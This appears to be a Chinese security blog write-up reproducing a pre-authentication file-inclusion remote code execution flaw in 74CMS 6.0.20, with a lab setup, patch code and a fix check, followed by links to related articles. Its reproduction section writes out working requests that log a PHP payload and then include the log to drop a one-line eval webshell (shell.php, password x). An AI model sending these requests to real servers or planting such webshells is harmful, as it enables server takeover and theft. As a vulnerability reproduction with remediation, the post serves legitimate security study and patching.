微信公众号:乌鸦安全

扫取二维码获取更多信息!

01 漏洞描述

参考资料:

https://xz.aliyun.com/t/8021

由于74CMS 某些函数存在过滤不严格,攻击者通过构造恶意请求,配合文件包含漏洞可在无需登录的情况下执行任意代码,控制服务器。

下载地址:

http://www.74cms.com/download/index.html

注意:

  • 骑士cms不支持php7.x,复现php环境为php5.x即可

  • 版本低于6.0.48

本文复现版本:

74cms_Home_Setup_v6.0.20.zip

02 环境搭建

phpstudy2018

74cms_Home_Setup_v6.0.20.zip

注意:

php版本为5.x,暂不支持php7

具体的搭建流程可以参考互联网,因为很简单。

03 复现流程

  1. 访问地址:

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tpl

  1. 在安装的文件位置中已经发现了记录的错误参数,路径是

C:\phpstudy\PHPTutorial\WWW\74cms\data\Runtime\Logs\Home

  1. 进行如下请求

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=<?php fputs(fopen("shell.php","w"),"<?php eval(\$_POST[x]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

此时去看日志信息,一句话菜刀已经记录在日志里

  1. 开始包含:

http://10.211.55.9/74cms//index.php?m=home&a=assign_resume_tplPOST:variable=1&tpl=data/Runtime/Logs/Home/21_01_20.log

在根目录下写入shell.php文件,内容为一句话木马,包含成功

在cms系统安装的根目录下生成了一个shell.php一句话木马,密码是x

http://10.211.55.9/74cms/shell.php

执行任意命令,发现执行成功

04 漏洞修复

  1. 在以下路径的169行进行修改

/Application/Common/Controller/BaseController.class.php

未修改前:

public function assign_resume_tpl($variable,$tpl){foreach ($variable as $key => $value) {$this->assign($key,$value);}return $this->fetch($tpl);

加入下面这行代码:

$view = new \Think\View;$tpl_file = $view->parseTemplate($tpl);if(!is_file($tpl_file)){return false;}// 修改之后的代码
public function assign_resume_tpl($variable,$tpl){foreach ($variable as $key => $value) {$this->assign($key,$value);} // fix 20210203$view = new \Think\View;$tpl_file = $view->parseTemplate($tpl);if(!is_file($tpl_file)){return false;}return $this->fetch($tpl);}

  1. 以下路径的文件:

/ThinkPHP/Library/Think/View.class.php
 View.class.php文件中106行fetch方法中修改// 将110行if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);// 代码注释替换为if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_'));

05 修复验证

  1. 清空log文件中的内容

  1. 再次写入内容

写入失败,漏洞修复成功

06 小插曲

微信公众号:乌鸦安全

扫取二维码获取更多信息!

74cms 6.0.20版本文件包含漏洞复现相关推荐

  1. index.php.bak 颓废_CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现

    CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其 ...

  2. phpmyadminV4.8.1本地文件包含漏洞复现

    文章目录 一.phpMyadmin简介 二.什么是文件包含漏洞? 三.本地包含和远程包含 四.文件包含相关函数介绍 1.函数介绍 2.报错 3._once 4.小结 五.关于windows特性的一个小 ...

  3. CVE-2020-1938 Aapache Tomcat AJP文件包含漏洞复现

    目录 一.环境搭建 1.下载vulhub 2.启动环境 二.漏洞复现 1.使用nmap扫描目标 2.运行POC验证漏洞 3.POC代码 三.修复方法 一.环境搭建 1.下载vulhub kali系统输 ...

  4. php文件包含漏洞复现,文件包含漏洞(绕过姿势)

    当你的才华 还撑不起的野心时 那你就应该静下心来学习 目录 文件包含漏洞介绍 特殊姿势 亲测有效 php文件包含漏洞 本地包含漏洞(LFI) 远程包含漏洞 文件包含利用 读取敏感信息 远程包含shel ...

  5. tomcat ajp协议安全限制绕过漏洞_Apache tomcat 文件包含漏洞复现(CVE20201938)

    漏洞背景 Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer ...

  6. phpmyadmin 4.8.1 Remote File Inclusion(CVE-2018-12613)远程文件包含漏洞复现

    漏洞描述 ​ 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞.该漏洞来自一部分代码,其中页面在phpMyAdmin中被重定向和加载,以及对白名单页面进行不正确的测试. 攻击者必须经过身份验证 ...

  7. 【CVE-2018-12613】phpmyadmin 4.8.1 远程文件包含漏洞复现

    **环境:**http://62.234.56.138:8080/server_databases.php 官网下载phpmyadmin 4.8.1 源码:index.php文件中 函数含义: tar ...

  8. 第31天:WEB漏洞~文件操作之文件包含漏洞全解

    目录 1. 文件包含漏洞 1.1. 原理.检测.类型.修复 1.2. 无限制&有限制的包含 1.2.1 本地包含 1.2.2 远程包含 1.3. 协议流 php:// php://input ...

  9. test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)

    题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...

  10. 远程文件包含 php,php本地及远程文件包含漏洞

    在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen on allow_url_include on 但是开启这两个功能之后伴随的是url ...

最新文章

  1. ATLAS入门篇之CascadingDropDown控件编程
  2. Java把List转换为String使用stream(functional programming in java)
  3. spring注解@service(service)括号中的service有什么用?
  4. r语言逻辑向量相加_R语言基础教程——第3章:数据结构——向量
  5. 基于某网站的信息爬取与保存_指定跳转页
  6. 语言代码编程大赛简讯_精品干货:C语言的高效编程与代码优化
  7. Linux中进程间传递文件描述符的方法
  8. BZOJ1787 [Ahoi2008]Meet 紧急集合 LCA
  9. math.floor()和math.ceil()的使用
  10. python dict批量选择_这一定是你见过最全面的python重点
  11. [转]PostgreSQL源码结构
  12. HTML5 植物大战僵尸项目介绍 和源码分析
  13. 参考文献查阅网站大全
  14. oracle 中的or,oracle语句查询 or和and
  15. java+nanomsg(jnanomsg)
  16. 2021-05-12 MongoDB面试题 在MongoDB中如何排序
  17. Linux 常用小工具
  18. ubuntu 下 ssd磁盘检测
  19. includes的用法
  20. 形式逻辑三大基本要素-推理的本质

热门文章

  1. VMWare Fusion虚拟机安装与配置教程
  2. c语言图片的裁剪拼接,截屏、图片裁剪、拼接
  3. 程序员方式原生表白网页
  4. 股票资金建仓分仓补仓计算器
  5. 数据可视化实战案例分享
  6. 光伏发电系统红外热图像(227幅图像,无标签,可用于识别蜗牛尾迹与热点故障)
  7. 计算机ae软件的入门教学视频教程,新手如何入门剪辑?3分钟教会你快速上手(附赠教程)...
  8. web前端开发工程师-面试题汇总
  9. python修改pdf文字_以编程方式更改PDF中文本的字体颜色
  10. 按自己的思想写商业计划